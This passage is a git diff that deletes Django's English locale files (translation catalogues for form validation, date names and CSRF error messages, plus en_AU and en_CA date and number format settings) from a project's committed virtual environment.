-"Ensure this filename has at most %(max)d character (it has %(length)d)." -msgstr[1] "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Please either submit a file or check the clear checkbox, not both." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Select a valid choice. %(value)s is not one of the available choices." - -msgid "Enter a list of values." -msgstr "Enter a list of values." - -msgid "Enter a complete value." -msgstr "Enter a complete value." - -msgid "Enter a valid UUID." -msgstr "Enter a valid UUID." - -msgid "Enter a valid JSON." -msgstr "Enter a valid JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Hidden field %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Please submit at most %d form." -msgstr[1] "Please submit at most %d forms." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Please submit at least %d form." -msgstr[1] "Please submit at least %d forms." - -msgid "Order" -msgstr "Order" - -msgid "Delete" -msgstr "Delete" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Please correct the duplicate data for %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Please correct the duplicate data for %(field)s, which must be unique." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Please correct the duplicate values below." - -msgid "The inline value did not match the parent instance." -msgstr "The inline value did not match the parent instance." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Select a valid choice. That choice is not one of the available choices." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” is not a valid value." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." - -msgid "Clear" -msgstr "Clear" - -msgid "Currently" -msgstr "Currently" - -msgid "Change" -msgstr "Change" - -msgid "Unknown" -msgstr "Unknown" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "yes,no,maybe" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "midnight" - -msgid "noon" -msgstr "noon" - -msgid "Monday" -msgstr "Monday" - -msgid "Tuesday" -msgstr "Tuesday" - -msgid "Wednesday" -msgstr "Wednesday" - -msgid "Thursday" -msgstr "Thursday" - -msgid "Friday" -msgstr "Friday" - -msgid "Saturday" -msgstr "Saturday" - -msgid "Sunday" -msgstr "Sunday" - -msgid "Mon" -msgstr "Mon" - -msgid "Tue" -msgstr "Tue" - -msgid "Wed" -msgstr "Wed" - -msgid "Thu" -msgstr "Thu" - -msgid "Fri" -msgstr "Fri" - -msgid "Sat" -msgstr "Sat" - -msgid "Sun" -msgstr "Sun" - -msgid "January" -msgstr "January" - -msgid "February" -msgstr "February" - -msgid "March" -msgstr "March" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "June" - -msgid "July" -msgstr "July" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "October" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "December" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "March" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month" -msgid "June" -msgstr "June" - -msgctxt "abbrev. month" -msgid "July" -msgstr "July" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "January" - -msgctxt "alt. month" -msgid "February" -msgstr "February" - -msgctxt "alt. month" -msgid "March" -msgstr "March" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "May" - -msgctxt "alt. month" -msgid "June" -msgstr "June" - -msgctxt "alt. month" -msgid "July" -msgstr "July" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "October" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "This is not a valid IPv6 address." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "or" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "Forbidden" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF verification failed. Request aborted." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." - -msgid "More information is available with DEBUG=True." -msgstr "More information is available with DEBUG=True." - -msgid "No year specified" -msgstr "No year specified" - -msgid "Date out of range" -msgstr "Date out of range" - -msgid "No month specified" -msgstr "No month specified" - -msgid "No day specified" -msgstr "No day specified" - -msgid "No week specified" -msgstr "No week specified" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No %(verbose_name_plural)s available" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Invalid date string “%(datestr)s” given format “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No %(verbose_name)s found matching the query" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Page is not “last”, nor can it be converted to an int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Invalid page (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Empty list and “%(class_name)s.allow_empty” is False." - -msgid "Directory indexes are not allowed here." -msgstr "Directory indexes are not allowed here." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” does not exist" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index of %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "The install worked successfully! Congratulations!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"View release notes for Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." - -msgid "Django Documentation" -msgstr "Django Documentation" - -msgid "Topics, references, & how-to’s" -msgstr "Topics, references, & how-to’s" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: A Polling App" - -msgid "Get started with Django" -msgstr "Get started with Django" - -msgid "Django Community" -msgstr "Django Community" - -msgid "Connect, get help, or contribute" -msgstr "Connect, get help, or contribute" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f5831ecc..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 0aaa67c2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/formats.py deleted file mode 100644 index caa6f720..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/formats.py +++ /dev/null @@ -1,41 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j M Y" # '25 Oct 2006' -TIME_FORMAT = "P" # '2:30 p.m.' -DATETIME_FORMAT = "j M Y, P" # '25 Oct 2006, 2:30 p.m.' -YEAR_MONTH_FORMAT = "F Y" # 'October 2006' -MONTH_DAY_FORMAT = "j F" # '25 October' -SHORT_DATE_FORMAT = "d/m/Y" # '25/10/2006' -SHORT_DATETIME_FORMAT = "d/m/Y P" # '25/10/2006 2:30 p.m.' -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - # "%b %d %Y", # 'Oct 25 2006' - # "%b %d, %Y", # 'Oct 25, 2006' - # "%d %b %Y", # '25 Oct 2006' - # "%d %b, %Y", # '25 Oct, 2006' - # "%B %d %Y", # 'October 25 2006' - # "%B %d, %Y", # 'October 25, 2006' - # "%d %B %Y", # '25 October 2006' - # "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 2dab8406..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 60eb7477..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/en_CA/formats.py deleted file mode 100644 index b34551de..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_CA/formats.py +++ /dev/null @@ -1,31 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date - -DATE_FORMAT = "j M Y" # 25 Oct 2006 -TIME_FORMAT = "P" # 2:30 p.m. -DATETIME_FORMAT = "j M Y, P" # 25 Oct 2006, 2:30 p.m. -YEAR_MONTH_FORMAT = "F Y" # October 2006 -MONTH_DAY_FORMAT = "j F" # 25 October -SHORT_DATE_FORMAT = "Y-m-d" -SHORT_DATETIME_FORMAT = "Y-m-d P" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-05-15' - "%y-%m-%d", # '06-05-15' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-05-15 14:30:57' - "%y-%m-%d %H:%M:%S", # '06-05-15 14:30:57' - "%Y-%m-%d %H:%M:%S.%f", # '2006-05-15 14:30:57.000200' - "%y-%m-%d %H:%M:%S.%f", # '06-05-15 14:30:57.000200' - "%Y-%m-%d %H:%M", # '2006-05-15 14:30' - "%y-%m-%d %H:%M", # '06-05-15 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.mo deleted file mode 100644 index bc4b2ccf..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.po deleted file mode 100644 index 348adb06..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_GB/LC_MESSAGES/django.po +++ /dev/null @@ -1,1221 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# jon_atkinson , 2011-2012 -# Ross Poulton , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: English (United Kingdom) (http://www.transifex.com/django/" -"django/language/en_GB/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_GB\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "Arabic" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Azerbaijani" - -msgid "Bulgarian" -msgstr "Bulgarian" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "Bosnian" - -msgid "Catalan" -msgstr "Catalan" - -msgid "Czech" -msgstr "Czech" - -msgid "Welsh" -msgstr "Welsh" - -msgid "Danish" -msgstr "Danish" - -msgid "German" -msgstr "German" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Greek" - -msgid "English" -msgstr "English" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "British English" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanish" - -msgid "Argentinian Spanish" -msgstr "Argentinian Spanish" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Mexican Spanish" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguan Spanish" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "Estonian" - -msgid "Basque" -msgstr "Basque" - -msgid "Persian" -msgstr "Persian" - -msgid "Finnish" -msgstr "Finnish" - -msgid "French" -msgstr "French" - -msgid "Frisian" -msgstr "Frisian" - -msgid "Irish" -msgstr "Irish" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Galician" - -msgid "Hebrew" -msgstr "Hebrew" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croatian" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Hungarian" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Indonesian" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Icelandic" - -msgid "Italian" -msgstr "Italian" - -msgid "Japanese" -msgstr "Japanese" - -msgid "Georgian" -msgstr "Georgian" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Korean" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "Lithuanian" - -msgid "Latvian" -msgstr "Latvian" - -msgid "Macedonian" -msgstr "Macedonian" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolian" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Dutch" - -msgid "Norwegian Nynorsk" -msgstr "Norwegian Nynorsk" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polish" - -msgid "Portuguese" -msgstr "Portuguese" - -msgid "Brazilian Portuguese" -msgstr "Brazilian Portuguese" - -msgid "Romanian" -msgstr "Romanian" - -msgid "Russian" -msgstr "Russian" - -msgid "Slovak" -msgstr "Slovak" - -msgid "Slovenian" -msgstr "Slovenian" - -msgid "Albanian" -msgstr "Albanian" - -msgid "Serbian" -msgstr "Serbian" - -msgid "Serbian Latin" -msgstr "Serbian Latin" - -msgid "Swedish" -msgstr "Swedish" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkish" -msgstr "Turkish" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "Ukrainian" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamese" - -msgid "Simplified Chinese" -msgstr "Simplified Chinese" - -msgid "Traditional Chinese" -msgstr "Traditional Chinese" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Enter a valid value." - -msgid "Enter a valid URL." -msgstr "Enter a valid URL." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Enter a valid IPv4 address." - -msgid "Enter a valid IPv6 address." -msgstr "Enter a valid IPv6 address." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Enter a valid IPv4 or IPv6 address." - -msgid "Enter only digits separated by commas." -msgstr "Enter only digits separated by commas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Ensure this value is %(limit_value)s (it is %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ensure this value is less than or equal to %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ensure this value is greater than or equal to %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Enter a number." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "and" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "This field cannot be null." - -msgid "This field cannot be blank." -msgstr "This field cannot be blank." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s with this %(field_label)s already exists." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Field of type: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Either True or False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (up to %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Comma-separated integers" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Date (without time)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Date (with time)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Decimal number" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Email address" - -msgid "File path" -msgstr "File path" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Floating point number" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Integer" - -msgid "Big (8 byte) integer" -msgstr "Big (8 byte) integer" - -msgid "IPv4 address" -msgstr "IPv4 address" - -msgid "IP address" -msgstr "IP address" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Either True, False or None)" - -msgid "Positive integer" -msgstr "Positive integer" - -msgid "Positive small integer" -msgstr "Positive small integer" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (up to %(max_length)s)" - -msgid "Small integer" -msgstr "Small integer" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Time" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "File" - -msgid "Image" -msgstr "Image" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (type determined by related field)" - -msgid "One-to-one relationship" -msgstr "One-to-one relationship" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Many-to-many relationship" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "This field is required." - -msgid "Enter a whole number." -msgstr "Enter a whole number." - -msgid "Enter a valid date." -msgstr "Enter a valid date." - -msgid "Enter a valid time." -msgstr "Enter a valid time." - -msgid "Enter a valid date/time." -msgstr "Enter a valid date/time." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "No file was submitted. Check the encoding type on the form." - -msgid "No file was submitted." -msgstr "No file was submitted." - -msgid "The submitted file is empty." -msgstr "The submitted file is empty." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Please either submit 